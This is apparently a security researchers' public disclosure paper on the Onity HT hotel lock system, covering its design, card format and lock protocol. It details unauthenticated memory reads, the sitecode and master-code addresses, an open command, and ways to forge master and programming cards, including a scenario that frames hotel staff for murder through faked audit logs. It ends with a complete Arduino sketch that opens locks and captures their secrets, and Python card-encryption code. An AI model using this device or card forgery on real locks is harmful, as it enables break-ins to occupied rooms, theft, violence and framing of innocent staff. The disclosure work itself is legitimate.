Introduction

In this paper we will discuss the design and inner workings of the Onity HT lock system for hotels. Approximately ten million Onity HT locks are installed in hotels worldwide. This accounts for over half of all the installed hotel locks and can be found in approximately a third of all hotels.

We hope to reveal unique insight into the way the Onity HT system works and detail various vulnerabilities therein.

How the Onity lock system is designed

There are several parts to the Onity lock system:

- Encoder: This is the device which makes the keycards, but it also stores all the property information (e.g. room listings, time tables, etc) and is used to load the portable programmer.
- Portable programmer (or PP): Programs the lock with guest code key values, master codes, time tables, and other information.
- Lock: In our context, we're primarily concerned with the actual circuit board that performs the locking logic for doors. There are multiple lock configurations, e.g. exterior doors and guest room doors, but we'll be talking mostly about guest room locks.

We are primarily concerned with the PP and the lock, though the encoder plays an important role in the system as it handles cryptography on cards.

Important concepts

Sitecode

This is a 32-bit code randomly assigned by Onity. It uniquely identifies a hotel property and is the key to the security of the entire system. The sitecode is used for encrypting/decrypting cards, programming the locks, and opening the locks.

For this reason, the sitecode is not ordinarily exposed to anyone, even property owners.

Code key values

Code key values consist of 24 bits of data and are used to gain entry to locks. A lock contains a guest code key value and generally one or more master code key values.

Rather than programming the lock anew for every guest or when master keycards need to be made, a concept called 'card cycling' is used. The lock is programmed with a lookahead value, generally 50, which determines how far ahead of the lock a keycard can be and still function. If a guest card with a code key value of 123 is used in a door with a code key value of 100, the lookahead value needs to be at least 23 for that card to be valid. When a valid card is introduced to the lock, the lock's code key value is moved up to the value on the card. This allows the lock to automatically invalidate old cards when new ones are used.

Note that the lookahead value effectively reduces the keyspace of the code key value. A 24-bit code key value has 16.7 million unique values, but this is divided by the lookahead plus one, as any card in that range will be valid. Thus if you have a lookahead of 50 (standard), the keyspace is reduced to only 328965 values. With the lookahead set to the maximum, 255, the keyspace is reduced to only 65536 values. While this means that, even in the worst case, you would need to try 32768 cards in a door on average to open it, this introduces another problem.

If two doors happen to be close enough in code key value that their lookahead values overlap, it's possible that a legitimate guest card intended for one door can open another door at the same property. When the doors are assigned initial code key values, these are separated by 1000 to make this less likely. However, all doors are not created equally in a hotel; it's very likely that certain rooms will see higher turnover than others, leading to a situation where the code key values are likely to overlap.

Ident values

Each card contains a 16-bit ident value. In a guest card, this specifies two things: which door the card is intended for and which copy the card is. In a master card, rather than specifying the door the card is intended for, it specifies the staff member the card is intended for.

When checking into a hotel you will generally have the option to ask for more than one keycard for your room; these are copies. Taking the ident value modulus 6 will give you the copy number. A zero means it's the original card, one to four are uniquely numbered copies, and five means any copy five or above. The doors are spaced out accordingly in the database to allow for the copy 'field'.

The important thing to note is that the lock does *not* know what its own ident value is. The ident value is purely used to identify cards, if they're read using the encoder, and is stored in the audit log for the lock.

Audit log

Also known as the openings report, this is a log containing information such as which cards are used to access the lock (by the ident value), use of the open function on the PP, and the introduction of new guest keycards. Each entry is a 16-bit ident (or fake ident value in the case of special events like the open function being used) followed by a 16 bit timestamp.

Special cards

While there are a number of special cards, the most important ones for this discussion are the programming card and spare card. When a programming card is introduced into a door followed by a spare card, the spare card becomes the guest card for the door.

Programming cards and spare cards are generally created in case of encoder failure, so that guests can continue to check into the hotel when normal keycards cannot be made. However, they introduce a new risk in that if programming cards can be created, any door in the hotel can be entered.

It should be noted that while programming cards are encrypted with the sitecode of the property, much like any other card, the spare cards are not encrypted whatsoever and simply contain an incrementing value.

Narrative

To tie things together a bit, it's useful to look at the way the system is used in the

general case. What follows is a general narrative on the lock system of a hotel.

Setup

Upon setup of the encoder by Onity, the doors in the property are loaded into the database along with their assigned ident value and initial code key value. Hotel staff will then load the door data into the portable programmer using the encoder. When the locks are installed in the property, they're initialized using the portable programmer with the proper code key values and masters. This is also performed when the batteries in a lock are replaced, which causes the memory to be lost.

Guest checkin

When a guest checks into a hotel, the first step in the Onity system is to create one or more keycards. The room name/number is entered into the encoder, followed by the number of nights of the stay (for expiration purposes) and the number of cards to make. Cards are inserted in order and encoded with the proper data for the room.

Once the guest inserts their card in the lock for the first time, several things happen:

1. The padding bits on the card are validated and the lock immediately rejects it if these are malformed
2. The card is decrypted using the sitecode on the lock
3. The checksum on the card is validated and the lock rejects the card if it does not match
4. The expiration date is checked along with flags and the shift that the card is for, rejecting the card if it's not within the valid times
5. Finally, the code key value is checked and the lock opens if it is within the lookahead range

What is on a hotel keycard

While some pieces of the keycard have been discussed previously, the following is a complete breakdown of its structure:

- 16-bit ident value
- 8-bit flags byte

- 16-bit expiration date
- 8-bit authorizations byte (not relevant to this discussion)
- 24-bit unknown (zeros)
- 24-bit code key value

This is then encrypted with the property's sitecode and stored in track 3 of a standard magstripe card. Code for the crypto algorithm is in appendix B of this paper.

Lock communications

Communications with the lock take place over a bidirectional single-wire protocol. On the bottom of the lock, on the outside of the door, there is a DC barrel connector, more commonly used for power. This carries data on one wire and ground on the other.

On top of this is the high-level protocol enabling the reading of memory and opening the lock. There are several other functions performed by the portable programmer which are not documented within as they're not relevant to the vulnerabilities outlined in this paper and are not required for an opener device.

Wire protocol

Basic concept

We'll refer to the device communicating with the lock as the "master", which drives all communications.

The line idles high at 3.3v via a pull-up resistor. Both the master and lock communicate by pulling the line low (grounding) for specific periods of time, called a pulse. The communication happens in bursts we'll call "groups", in which the master sends 20 microsecond sync pulses with 200 microseconds between them (edge to edge). The actual communication happens between these sync pulses; if a data pulse of 12 microseconds occurs between these sync pulses, the device is communicating a one bit. The absence of a data pulse is considered to be a zero bit.

The important thing to note here is that while either the master or lock can communicate in data pulses, the sync pulses are always generated by the master.

Group structure

As noted above, groups consist of repeated sync pulses with data pulses between them (or not). It should be noted that all groups have a trailing sync pulse which no data pulse will follow.

Groups should be separated by no less than 500 microseconds, according to experimental results; the standard timing is 2700 microseconds.

To send data from the master to the lock, there's no need for a preamble; rather you begin sending the groups in order. However, because the lock cannot generate its own sync pulses, it must signify to the master that it wishes to send. It does this by pulling the line low for 120 microseconds when the line is otherwise idle. Once the lock does that, the master should start generating sync pulses and watching for the lock's data pulses.

High level protocol

Below are details on the relevant high-level commands. Note: when referring to 'bytes', we mean 8 bits sent least-significant bit first.

A note on checksums

Each high-level command seems to have its own "checksum" values, really just values XORed with themselves and a constant that's specific to the command. It is unknown where these constants come from or if they are simply random hard-coded values intended to make the protocol more complex.

Read command

The read command takes a 16-bit memory address and returns 16 bytes of memory from that address. This means that if you read from address 0 and then from address 1, you'll see 15 bytes of overlap; generally you'll want to read in non-overlapping 16-byte rows at a time.

The read command takes the form of a single group:

00000000000000000000000000000000000001010001111AAAAAAAA1BBBBBBB
B1CCCCCCCC. The A byte is the high 8 bits of the memory address to read, B is the low 8 bits. The C byte is a checksum derived by performing A ^ B ^ 0x1D.

Once this has been sent, the lock will signal for send and communicates a group of 165 bits. There are 13 beginning bits of unknown utility, followed by 16 9-bit bytes (each is followed by a 1 bit), followed by 8 bits which are assumed to be a checksum (as per usual in this protocol).

Open command

The open command takes a 32-bit sitecode and -- assuming it matches what's stored in the lock -- causes the lock to immediately open.

The open command takes the form of a few groups. They are listed here in order:

- 00000000000000000000000000000000000001010001001AAAAAAAA1BBBBBB
  BB1CCCCCCCC1DDDDDDDD1SSSSSSSS0000000000000000000000000000000
  00000000000000000000
- 00000000000000000000000000000000000000000000000000
- 00000000000000000000000000000000000000000000000000
- 00000000000000000000000000000000000000000000000000
- 00000000000000000000000000000000000000000000000000
- 00000000000000000000000000000000000000000000000000
- 00000000000000000000000000000000000000000000000000
- 00000000000000000000000000000000000000000000000000
- 00000000000000000000000000000000000000000000000000
- 00000000000000000000000000000000000000010011010111100101O
The A, B, C, and D bytes are the first, second, third, and fourth bytes of the sitecode, respectively. The S byte is a checksum, computed by performing A ^ B ^ C ^ D ^ 0xDD.

The lock will send no response regardless of success or failure in this case, but rather will simply open if the sitecode is correct.

Lock memory

With the previously detailed information about the lock communication protocol, we have the ability to read all of memory and then open the lock given the sitecode. However, you must know the memory address at which the sitecode is located.

Below are a few key memory addresses for the standard guest room lock. Others, such as wall readers (commonly used on exterior doors for hotels) may have slightly different memory maps.

- Sitecode: 4 bytes at 0x114
- Programming card code: 3 bytes at 0x124
- Code keys: 0x412C

The code keys address contains a series of different values. The first is the guest value of 3 bytes followed by an 0x00 byte. Following that, you have a number of master codes. These are each 3 bytes and are followed by an 0x80 byte if it's a valid master, otherwise an 0xFF byte; the last entry (with the 0xFF following it) is always invalid.

Card crypto

As previously mentioned, the cryptography on key cards is done using the sitecode as a key. The algorithm is currently thought to be custom and was not public until the release of this paper. It has not been documented properly, but a Python implementation is available in appendix B.

Research into the flaws of the algorithm is ongoing, but given the small keyspace (only 32 bits) and the known plaintext present, it's possible to simply brute force it.

Vulnerabilities

While there has been a lot of information here about the inner workings of the Onity lock system, it's difficult to understand how this all comes together.

Open function

Given the ability to read the memory of the lock, and knowledge of the location of the sitecode in memory, it's trivial to read the sitecode and then send that in the opening command. This gives instant access to the door and will merely show in the audit log as

the opening function of the PP having been used.

This can be done in under a quarter of a second, and a device implementing such an attack is detailed in appendix A.

Master card creation

Because of the ability to read the memory of the lock, we can likewise read the master code key values out of the lock and then produce our own master keycards. These will behave identically to those given to staff members, and will gain entry to any door containing that master code.

This does not mean necessarily that a single card will work for every door, of course, because masters could be split among a property. For instance, a hotel may configure the masters such that there are three master types, with a housekeeping group each assigned to one of these. In such a configuration, gaining access to one of these master keys will only get you access to a third of the property.

Programming card creation

With access to the memory, we are able to get the sitecode and programming card code for the property. With these, we are able to create a programming card which will work for every lock. Creating a spare card requires no knowledge of the property or locks whatsoever and can be done ahead of time.

After using the programming card on the door, simply introduce the spare card and the lock will open. In the future, it's possible to simply use that spare card again and gain access perpetually, at least until a new guest card is introduced.

Spare card manipulation

Due to the lack of crypto and the fact that spare cards are created incrementally, it's possible to manipulate spare card values to gain access to another room.

Take the case of a hotel where the encoder is out of service and guests are being checked in manually by staff, using spare cards. If you are given a spare card with the

value 1234, you could change this to 1233 or 1235 and attempt to access doors. Due to the incremental nature of the card, it's highly likely that this will allow entry to a door at the property, though determining which door it will open would be roughly impossible without other knowledge.

Basic cryptography breaks

Given the small keyspace and the lack of real cryptography on the keycards, there are a couple of simple attacks that can be performed. As mentioned later, there is still much more work that can and should be done to analyze the cryptography further.

As a consequence of the way cards are encrypted, only a small part of the sitecode is used for each byte and this can be used in conjunction with known relationships to determine the sitecode. For instance, if you check into a hotel room and get two keycards, the only thing that will differ between these are a single bit of the ident field. Likewise, if you know the expiration dates for multiple cards, you can use the differences between those as a guide.

This work is only very cursory and not performed by a cryptanalyst, and much more work needs to be performed in the future. Needless to say, the cryptography involved is by no means secure and should not be trusted, being built from scratch and kept private for over a decade and given the 32-bit keyspace.

Framing hotel staff for murder

Given the ability to read the complete memory of the lock, it is possible to gain access to the master key card codes. With these -- in combination with the sitecode for encryption -- it is possible to create master cards which will gain access to locks at the property.

Let's look at a hypothetical situation:

- An attacker uses the beforementioned vulnerabilities to read the memory of the lock
- Attacker uses the sitecode and master key card codes to generate one or more master cards
- Attacker uses a master card to enter a room
- Attacker murders the victim in the room

- Attacker escapes

During the course of investigation, it's quite possible that the criminal investigators may look at the audit report for the lock, to see who entered the door at what time. Upon doing so, they will see a specific member of the staff (as the key cards are uniquely identified in the ident field) using a master key card to gain access to the room near the time of death.

Such circumstantial evidence, placing a staff member in the room at the time of death, could be damning in a murder trial, and at least would make that staff member a prime suspect. While other factors (e.g. closed circuit cameras, eyewitnesses, etc) could be used to support the staff member's case, there's no way we can know whether or not the audit report is false.

Conclusion

In this paper, we have shown attacks against every level of the security the Onity hotel lock is intended to provide.

- The lock communication port is unauthenticated and enables direct memory access, which allows arbitrary reading of memory. Combined with basic knowledge of the system, this can allow an attacker to open doors directly, create master keys, and create programming cards for whole properties.
- The cryptography used on key cards is inherently flawed and uses too small a keyspace, making even the most trivial brute-force attacks viable. Future work on this end may further compromise the cryptographic side of the system.
- The audit report, long considered to be a secure record of the lock's use, is shown to be deceptive due to the ability to create keys from memory. Future work in the lock communication protocol to enable memory writes would allow the audit report to be directly modified.

While we have no direct mitigations for these vulnerabilities, their systemic nature leads us to highly recommend against the use of Onity locks until such a time as these vulnerabilities are adequately dealt with.

For guests staying in any hotel, we recommend the use of door chains or latches whenever possible to add an extra layer of protection. As the deadbolt on electronic locks is able to be disengaged by the lock mechanism, it provides protection only

against physical attacks.

Disclosure

Given the obviousness of these vulnerabilities (outside of the obscure protocols used), their impact, and the difficulty of mitigating them, the decision to make this information public has not been an easy one. While it's unlikely we'll ever know for sure, we must suspect that concerns were raised inside of Onity about these issues, given the ten-plus years that these locks have been in development and on the market.

However, after much consideration it was decided that the potential short-term effects of this disclosure are outweighed by the long-term damage that could be done to hotels and the general public if the information was held by a select few.

Future work

There are many possibilities for future work here, which can be split into the following categories.

Cryptography

The algorithm as implemented currently is perhaps not optimal for analysis. Documentation on the algorithm, beyond a simple implementation, would be helpful to expose it to cryptographers.

It is suspected to be a custom algorithm, but it may be something off-the-shelf or perhaps a modified version of an existing algorithm.

Protocol reversing

It is thought to be possible to write memory on the lock, much as it's possible to read it, and that the portable programmer in fact does this. Through analysis of the communication that the portable programmer performs, it should be possible to determine the format of the write command.

Lock memory mapping

Only a few parts of the lock's memory space are known, and only for guest room doors. By programming various locks with specific values or putting it in various states, it should be possible to determine the complete memory map for all the Onity locks.

Determine if the existing work is applicable to CT locks

It is our suspicion that the protocol used for Onity's commercial (CT) locks is similar, if not identical, to that used for their hotel locks. As such, it should be possible to perform similar analysis and attacks on the CT locks.

Appendix A: Opening device

This appendix details building and programming an opening device based on the Arduino platform.

Caveats

There is a bug with the implementation of this device which prevents it working on some locks. At the moment this is believed to be a timing bug, which leads to the first bit of each byte being corrupted, but this is not certain.

In addition, possession of this device may be illegal under lock pick laws in certain jurisdictions; consult a lawyer prior to constructing an opening device. Use of this device to gain access to areas where you would not normally have access may be illegal. No warranty is given for this device and no liability will be accepted; you're on your own.

Hardware setup

Required hardware:

- Arduino Mega 128
- 5.6k resistor
- DC (coaxial) barrel connector, 5mm outer diameter, 2.1mm inner diameter

Attach the resistor from 3.3v power on the Arduino to digital IO pin 3. Attach digital IO pin 3 to the inner contact on the DC connector. Attach ground from the Arduino to the outer contact on the DC connector.

Sketch

Below is the complete Arduino sketch. When connected to the lock, it will immediately open the lock. While doing so, it will read the sitecode, guest/master card codes, and programming card codes. Once an Arduino running the sketch has been connected to a lock, it can be connected via USB to a computer to read the data via serial. A Python script to allow creation of cards based on this data will be published in the near future.

```
#include <EEPROM.h>

#define CONSERVATIVE

int ioPin = 3;
#define BUFSIZE 200
unsigned char buf[BUFSIZE];

#define pullLow() pinMode(ioPin, OUTPUT)
#define pullHigh() pinMode(ioPin, INPUT)

unsigned char dbits[] = {
  0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 0, 0, 0, 0, 0,
  0, 0, 0, 0, 1, 0,
  1, 0, 0, 0, 1, 1, 1, 1,
  1, 0, 0, 0, 0, 0, 0, 0, 1,
  0, 0, 0, 0, 1, 0, 0, 0, 1,
  0, 0, 1, 1, 0, 0, 0, 0};

unsigned char bits[][144] = {
  {
    0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0,
```

```
    0, 0, 0, 0, 0, 0, 0, 0,
    1, 0, 1, 0, 0, 0, 1, 0,
    0, 1,

    1, 0, 0, 0, 1, 0, 0, 0, 1,
    1, 0, 1, 0, 0, 1, 0, 1, 1,
    1, 1, 0, 0, 0, 0, 1, 1, 1,
    0, 0, 0, 1, 1, 1, 0, 1, 1,

    1, 1, 1, 1, 1, 1, 1, 1,
    0, 0,
    0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0
  },
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
```

```
  {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0}
};

unsigned char bval;

void wentLow() {
  bval = 1;
}

int readData(unsigned long int addr) {
  for(int i = 0; i < 8; ++i)
    dbits[50 + 9 + i] = (addr >> i) & 1;
  for(int i = 0; i < 8; ++i)
    dbits[50 + i] = (addr >> (i + 8)) & 1;
  for(int i = 0; i < 8; ++i)
    dbits[50 + 9 + 9 + i] = ((addr >> i) ^ (addr >> (i + 8)) ^ (0x1D >> i)) & 1;

  for(int i = 0; i < sizeof(dbits); ++i) {
    if(dbits[i] == 0) {
      pullLow();
      delayMicroseconds(16);
      pullHigh();
      delayMicroseconds(190);
    } else {
      pullLow();
      delayMicroseconds(16);
      pullHigh();
      delayMicroseconds(56);
      pullLow();
      delayMicroseconds(16);
      pullHigh();
      delayMicroseconds(112);
    }
  }
```

```
  pullLow();
  delayMicroseconds(16);
  pullHigh();

  bval = 0;
  attachInterrupt(1, wentLow, FALLING);
  unsigned int i = 0;
  while(digitalRead(ioPin) == HIGH && i++ < 32767) {
    //delayMicroseconds(20);
  }
  if(i == 32767)
    return false;
  delayMicroseconds(20);
  int hit = 0;
  for(int i = 0; i < 165; ++i) {
    buf[i] = 0;
    pullLow();
    delayMicroseconds(8);
    pullHigh();
    bval = 0;
    delayMicroseconds(184);
    buf[i] = bval;
    hit |= bval;
  }

  return hit;
}

int getByte(int off) {
  int i = 0, val = 0;
  for(; i < 8; ++i)
    val = (val << 1) | buf[13 + off * 9 + 7 - i];
  return val;
}

void open() {
```

```
pinMode(ioPin, OUTPUT);
digitalWrite(ioPin, LOW);
pinMode(ioPin, INPUT);
digitalWrite(ioPin, LOW);

if(!readData(0x110))
  return;

for(int i = 0; i < 4; ++i) {
  unsigned char val = 0;
  for(int j = 0; j < 8; ++j)
    val = (val << 1) | buf[22 + i*9 + 7 - j];
  EEPROM.write(i, val);
}

for(int i = 0; i < 32+3; ++i)
  bits[0][50+i] = buf[22+i];

for(int i = 0; i < 8; ++i) {
  bits[0][86+i] = bits[0][50+i] ^ bits[0][50+9+i] ^ bits[0][50+18+i] ^ bits[0][50+27+i];
}
bits[0][86] ^= 1;
bits[0][87] ^= 0;
bits[0][88] ^= 1;
bits[0][89] ^= 1;
bits[0][90] ^= 1;
bits[0][91] ^= 0;
bits[0][92] ^= 1;
bits[0][93] ^= 1;

for(int i = 0; i < 4; ++i) {
  readData(0x412C + (i << 4));
  for(int j = 0; j < 4; ++j) {
    for(int x = 0; x < 4; ++x)
      EEPROM.write(4 + 3 + (i << 4) + (j << 2) + x, getByte((j << 2) + x));
  }
```

```
  }

  readData(0x124);
  for(int i = 0; i < 3; ++i)
    EEPROM.write(4 + i, getByte(i));

#ifdef CONSERVATIVE
  delay(100);
#endif
  for(int j = 0; j < 11; ++j) {
    for(int i = 0; i < sizeof(bits[j]); ++i) {
      if(bits[j][i] == 0) {
        pullLow();
        delayMicroseconds(16);

        pullHigh();
        delayMicroseconds(190);
      } else {
        pullLow();
        delayMicroseconds(16);
        pullHigh();
        delayMicroseconds(56);
        pullLow();
        delayMicroseconds(16);
        pullHigh();
        delayMicroseconds(112);
      }
    }
#ifdef CONSERVATIVE
    delayMicroseconds(2700);
#else
    delayMicroseconds(500);
#endif
  }
}
```

```
void setup() {
  Serial.begin(115200);
  dump();
}

void dump() {
  while(Serial.available())
    Serial.read();
  for(int i = 0; i < 4; ++i) {
    int val = EEPROM.read(i);
    if(val < 16)
      Serial.print('0');
    Serial.print(val, HEX);
  }
  Serial.print('
'); for(int i = 0; i < 3; ++i) { int val = EEPROM.read(4 + i); if(val < 16) Serial.print('0');
Serial.print(val, HEX); } Serial.print(' '); for(int i = 0; i < 64; ++i) { int val =
EEPROM.read(4 + 3 + i); if(val < 16) Serial.print('0'); Serial.print(val, HEX); if((i & 3) ==
3) Serial.print(' '); } Serial.print(' '); }

void loop() {
  if(Serial.available())
    dump();
  open();
}
```

Appendix B: Card cryptography

Below is a Python implementation of the card crypto. The functions encryptCard and decryptCard are what should be used for the majority of tasks; both take a sitecode and card buffer encoded as hex and return a hex-encoded buffer.

```
def fromhex(data):
    return [int(data[i:i+2], 16) for i in range(0, len(data), 2)]

def checksum(data):
    return chr(reduce(
```

```
            lambda a, b: a^(0xFF^ord(b)),
            data,
            (0xFF, 0)[len(data) % 2]
        ))

def encrypt(key, buffer):
    def rotateRight(x, count):
        buffer[x] = ((buffer[x] << (8-count)) | (buffer[x] >> count)) & 0xFF
    def rotateLeft(x, count):
        buffer[x] = ((buffer[x] << count) | (buffer[x] >> (8-count))) & 0xFF
    def mixup(value, a, b):
        mask = (value ^ (value >> 4)) & 0xF

        twiddles = (
                ((0, 2, 1, 3, 0xFF), (0, 3, 2, 0, 0xFF)),
                ((1, 4, 2, 1, 0xFF), (1, 1, 2, 2, 0x00)),
                ((1, 2, 3, 2, 0xFF), (0, 2, 1, 3, 0x00)),
                ((1, 2, 1, 0, 0x00), (0, 3, 2, 1, 0xFF))
            )
        mr = a, b

        for i in range(4):
            twiddle = twiddles[i][mask >> (3-i) & 1]
            rotateRight(a, twiddle[1])
            rotateLeft (b, twiddle[2])
            buffer[mr[twiddle[0]]] ^= twiddle[4] ^ buffer[mr[1-twiddle[0]]] ^ key[twiddle[3]]

    mixup(buffer[2], 0, 1)
    mixup(buffer[0], 2, 1)
    mixup(buffer[1], 0, 2)

    for j in range(len(buffer)-2):
        mask = reduce(int.__xor__, buffer[:j] + buffer[j+3:])
        mixup(mask, j+1, j+2)

    return buffer
```

```
def encryptCard(sitecode, card):
    size = 0x88 + len(card) * 4
    data = chr(size) + ''.join(map(chr, encrypt(fromhex(sitecode), fromhex(card))))
    return data + checksum(data)

def decrypt(key, buffer):
    def rotateRight(x, count):
        buffer[x] = ((buffer[x] << (8-count)) | (buffer[x] >> count)) & 0xFF
    def rotateLeft(x, count):
        buffer[x] = ((buffer[x] << count) | (buffer[x] >> (8-count))) & 0xFF
    def mixdown(value, a, b):
        mask = (value ^ (value >> 4)) & 0xF

        twiddles = (
                ((0, 2, 1, 3, 0xFF), (0, 3, 2, 0, 0xFF)),
                ((1, 4, 2, 1, 0xFF), (1, 1, 2, 2, 0x00)),
                ((1, 2, 3, 2, 0xFF), (0, 2, 1, 3, 0x00)),
                ((1, 2, 1, 0, 0x00), (0, 3, 2, 1, 0xFF))
            )
        mr = a, b

        for i in range(3, -1, -1):
            twiddle = twiddles[i][mask >> (3-i) & 1]
            buffer[mr[twiddle[0]]] ^= twiddle[4] ^ buffer[mr[1-twiddle[0]]] ^ key[twiddle[3]]
            rotateLeft (a, twiddle[1])
            rotateRight(b, twiddle[2])

    for j in range(len(buffer)-3, -1, -1):
        mask = reduce(int.__xor__, buffer[:j] + buffer[j+3:])
        mixdown(mask, j+1, j+2)

    mixdown(buffer[1], 0, 2)
    mixdown(buffer[0], 2, 1)
    mixdown(buffer[2], 0, 1)
```

```
    return buffer

def decryptCard(sitecode, card):
    card = fromhex(card)
    data = card[1:-1]
    return ''.join('%02X' % x for x in decrypt(fromhex(sitecode), data))
```